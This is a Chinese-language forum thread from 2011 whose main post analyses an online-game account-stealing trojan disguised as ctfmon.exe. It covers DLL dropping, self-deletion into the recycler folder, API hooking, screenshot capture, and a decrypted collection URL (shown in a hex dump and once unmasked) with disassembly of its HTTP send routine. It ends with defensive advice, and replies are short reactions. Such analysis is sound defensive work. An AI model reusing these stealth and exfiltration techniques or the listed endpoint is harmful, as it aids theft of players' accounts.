找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 1140|回复: 11

对一款盗号木马的详细分析

[复制链接]

该用户从未签到

发表于 2011-10-26 21:03:11 | 显示全部楼层 |阅读模式
一、主程序流程分析:
主程序名:ctfmon.exe(仿冒微软输入法配置程序)
壳 :无壳
编写语言:汇编(估计)

1. 用GetLogicalDriveStringsA API获得所有系统盘符存放到一个字符串;

2. 读取自身文件尾部的0x1C4字节数据,并根据最后4字节的DWORD值,调用NEW函
数申请内存(为0x2A00大小);

3. 从自身文件距离尾部(0x1C4+0x2A00)字节处,读取0x2A00字节数据,存储到
上面NEW出来的内存中;

4. 关闭游戏主程序******nest.exe;

5. 根据注册表项:SOFTWARE\\snda\\dn和
Software\Microsoft\Windows\ShellNoRoam\MUICache

找到游戏所在目录生成gamewidget.dll和midimap.dll,dll,内容为第3步中的数据写
2001次,再加上文件尾部的0x1C4字节数据,共20.5 MB (21,515,204 字节)(太大

了-.-)。(因为我没有安装这个游戏,所以也没有这些注册表项目,实际当中我自己
建了一个SOFTWARE\\snda\\dn注册表项,随便给了一个路径)

6. 根据第1点里面得到的所有系统盘符字符串,用SearchTreeForFile API(盘符多,
硬盘大的时候好慢啊),查找Dnlauncher.exe程序,找到了之后在该目录下创建

gamewidget.dll和midimap.dll,因为没装游戏,我又伪造了一个Dnlauncher.exe
(-.-)

7. 本程序实现的自删除,会因机器是否安装有瑞星而有所不同。机器没有安装瑞星时
是把自己移动到程序所在盘符的RECYCLER文件夹中,并重命名成一个GetTickCount

得到的数字+.tmp后缀名的文件。在XP系统上这个文件比桌面上的回收站目录高一级,
所以点击桌面的回收站,里面会看不到这个文件。机器安装了瑞星则不做上述处理。最

后会将此文件设为下次重启电脑时删除。

二、生成的DLL模块流程分析:
1. 上面所说的gamewidget.dll和midimap.dll,dll内容都是一样,虽然文件很大(重
复写了太多次的结果),但内容还是用了UPX加壳了(UPX 0.80 - 1.24 DLL)。ESP

定律简单脱壳,PEID再查一下为Microsoft Visual C++ 6.0 DLL。

2. 该dll首先将系统目录(XP系统为\WINDOWS\system32\)下的midimap.dll文件
复制一份为lqmidimap.dll放到同一目录下,然后创建一个线程,接下来的工作都在此线
程中完成。

3. 进入线程后首先会创建一个互斥体对象防止线程多次运行,接下来比较主模块的模
块名是否是“******Nest.exe”。如果不是则退出,如果是继续以下步骤。

4. 读取自身文件最后0x1C4字节(这里就要注意脱壳后的文件最后的字节和脱壳前已
经不一样了,为了调试方便可以把脱壳前文件的尾部数据添加到脱壳后dll中),进行几
步相套的算法变换,将最后的0x1C4字节解密出来,解密出来的数据如下:

  1. 10004C48 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F [url]http://haha5.hao[/url]
  2. 10004C58 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren***.com:8011/
  3. 10004C68 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
  4. 10004C78 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgz***.asp
  5. 10004C88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  6. 10004C98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  7. 10004CA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  8. 10004CB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  9. 10004CC8 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F [url]http://haha5.hao[/url]
  10. 10004CD8 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren***.com:8011/
  11. 10004CE8 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
  12. 10004CF8 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgz***.asp
  13. 10004D08 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F ttp://haha5.hao
  14. 10004D18 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren***.com:8011/
  15. 10004D28 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
  16. 10004D38 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 00 00 gasasdfgzxcv.a..
  17. 10004D48 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F [url]http://haha5.hao[/url]
  18. 10004D58 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren***.com:8011/
  19. 10004D68 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
  20. 10004D78 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgz***.asp
  21. 10004D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  22. 10004D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  23. 10004DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  24. 10004DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  25. 10004DC8 78 78 73 73 00 00 00 00 00 00 00 00 00 00 00 00 xxss............
  26. 10004DD8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  27. 10004DE8 61 62 63 64 00 00 00 00 00 00 00 00 00 00 00 00 abcd............
  28. 10004DF8 31 37 34 30 39 34 38 38 00 00 00 00 00 00 00 00 17409488........
  29. 10004E08 00 2A 00 00 .*..
复制代码


然后将http://haha5.haoren***.com:8011/fen/qlnb20/asdfagasasdfgzx**.asp
最后的asdfagasasdfgzxcv.asp替换为MIBAO.asp
即为:http://haha5.haoren***.com:8011/fen/qlnb20/MIB**.ASP
(难道是伪造密保页面吗?-.-)

5. 接下来HOOK了"user32.dll"中的MessageBoxTimeoutW"函数,至于HOOK的目 的,干了哪些事就不知道了。

6. 接下来,查找模块gwCore.dll,HOOK了该dll中一系列位置,IDA中看这一段看的云
里雾里。查找SDOA4ClientCom.dll模块,进行一系列HOOK。

7. 从LZGSERVER.ini文件中拿到SERVER项内容,使用URLDownloadToFileA函数下
载网页http://patch.dn.***.com/sndalist/sndalist_n**.xml

保存到本机TEMP目录下,文件名为SerList.xml,进行一番查找比较。之后线程结束。

三、后续分析:
    分析到这里貌似也没什么再好分析的了,可能大家没看到木马作恶的过程有点失
望,是的,我也没看到,因为他的关键功能都是在HOOK之后所跳转到的代码里面完成
的,我大部分都是在IDA里面静态分析的,顺着流程走下来就是这样一个过程。

    为了不让大家太失望,也为了让自己不至于觉得太没成就感,我又回头看了一下逆
向分析的过程,结合导入表中的函数来看了下,该木马至少有屏幕截取和网络发送数据
的嫌疑。那么就再稍微跟踪一下这两个方面吧。

1. 网络发包分析:
还记得我们在dll分析的第4步中,得到的那个网址吧
http://haha5.haoren678.com:8011/fen/qlnb20/MI***.ASP

用IDA看一下,什么地方还引用了这个字符串,还真的有所收获:
1.JPG下载此附件需要消耗2Kx,下载中会自动扣除。

把sub_10002B9E这个CALL跟进去,会发现里面有HTTP协议的数据发送和接收操
作。

  1. UPX0:10002DB7 push eax
  2. UPX0:10002DB8 push offset aPostSHttp1_1Ac ; "POST %s HTTP/1.1 Accept: text/plain, *"...
  3. UPX0:10002DBD push ebx ; Dest
  4. UPX0:10002DBE call sprintf
  5. UPX0:10002DC4 add esp, 54h
  6. UPX0:10002DC7 lea eax, [ebp+Dest]
  7. ……………………………………中间多余代码已删减………………………………………………
  8. UPX0:10002E2C push offset aQlmmsg ; "qlmmsg"
  9. UPX0:10002E31 push eax
  10. UPX0:10002E32 push offset aGetSHt ; "GET %s HT"
  11. UPX0:10002E37 push ebx ; Dest
  12. UPX0:10002E38 call sprintf
  13. UPX0:10002E3E push ebx ; Str
  14. UPX0:10002E3F call strlen
  15. UPX0:10002E44 add esp, 18h
  16. UPX0:10002E47 mov esi, eax
  17. UPX0:10002E49
  18. UPX0:10002E49 loc_10002E49: ; CODE XREF: sub_10002B9E+278j
  19. UPX0:10002E49 xor edi, edi
  20. UPX0:10002E4B push edi ; flags
  21. UPX0:10002E4C push esi ; len
  22. UPX0:10002E4D push ebx ; buf
  23. UPX0:10002E4E push [ebp+s] ; s
  24. UPX0:10002E51 call send ; 发送数据
  25. ……………………………………中间多余代码已删减………………………………………………
  26. UPX0:10002E86 push edi ; flags
  27. UPX0:10002E87 push esi ; len
  28. UPX0:10002E88 push eax ; buf
  29. UPX0:10002E89 push [ebp+s] ; s
  30. UPX0:10002E8C call recv ; 接收数据
  31. UPX0:10002E92 cmp eax, 0FFFFFFFFh
  32. UPX0:10002E95 jz short loc_10002EDB
  33. UPX0:10002E97 mov esi, offset aHttp1_1400 ; "HTTP/1.1 400"
复制代码


2. 截图过程分析:
     在我们第二阶段分析dll的时候其中第6步提到了该dll HOOK了gwCore.dll。使
gwCore.dll中的流程转到了自己的dll中来了,其中最后的一个HOOK(在IDB文件里面

我命名为hook_9)里面又对另外一个dll:SDOA4ClientCom.dll进行了HOOK(命名
为hook_8),在hook_8的代码里面有如下一些行为:

2.1 首先创建一个线程,该线程的作用是枚举屏幕窗口。
2.JPG下载此附件需要消耗2Kx,下载中会自动扣除。

2.2 对每个枚举到的屏幕窗口用GetClassName API获得其类名,比较是否匹
配"IEFrame"、"ShImgVw:CPreviewWnd"、"Afx:400000:8"这三种,如果均不匹配
则不做任何处理。

2.3 如果匹配以上三种类名之一,则进行截屏并利用GDI+方法保存为BMP,JPG图形。

2.4 如果有截屏,则会将截屏图形通过上面的网络发包方式发送出去。

四、关于如何防范这类盗号木马或类似外挂的思考
     该盗号木马在功能实现上大量使用HOOK技术,防范这种攻击,作为游戏开发方应
该加强保护,例如对主程序和dll模块的保护,在一些关键位置进行必要的代码校验,如

关键代码md5验证,dll的CRC验证,dll的签名认证等。作为游戏玩家为了防止盗号类木
马入侵本机,造成盗号,应该注意少上来源不明的网站,不下载不可信的程序,及时给

系统或常用软件打补丁,避免恶意程序利用漏洞传播进入个人电脑。当然,攻与防的较
量是无止境的,“道高一尺,魔高一丈”,没有无坚不摧的防御,安全之路,任重而道
远。

五、IDA分析附件
1.ctfmon.exe:19.9 KB (20,420 字节)——主程序
2.1.dll:42.5 KB (43,520 字节)——生成的dll经过脱壳后的版本
3.复件 1.dll:53.4 KB (54,724 字节)——生成的dll经过脱壳后,并在尾部附加需要
解密的网址数据

该用户从未签到

发表于 2011-10-26 21:20:27 | 显示全部楼层
一点也看不懂!

该用户从未签到

发表于 2011-10-26 21:37:31 | 显示全部楼层
在这里白发了 我们就只会玩游戏

该用户从未签到

发表于 2011-10-26 21:54:59 | 显示全部楼层
确实在某些网吧能看到两个ctfmon.exe进程
我一般都是先用工具把不是系统文件的那个给结束掉然后彻底删除{:soso_e141:}

该用户从未签到

发表于 2011-10-26 22:13:33 | 显示全部楼层
我电脑上有一个..

该用户从未签到

发表于 2011-10-26 22:14:22 | 显示全部楼层
感觉在听唐僧讲经似的 一点都不懂

该用户从未签到

发表于 2011-10-26 22:29:27 | 显示全部楼层
虽然看不懂 但是感觉LZ好像很厉害的样子

该用户从未签到

发表于 2011-10-27 00:06:00 | 显示全部楼层
应该是复制黑客网站上的文章,楼主什么意思

该用户从未签到

发表于 2011-10-27 08:08:22 | 显示全部楼层
伟大的黑客啊....

该用户从未签到

发表于 2011-11-22 22:45:38 | 显示全部楼层
能给个学习编程的网站吗
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表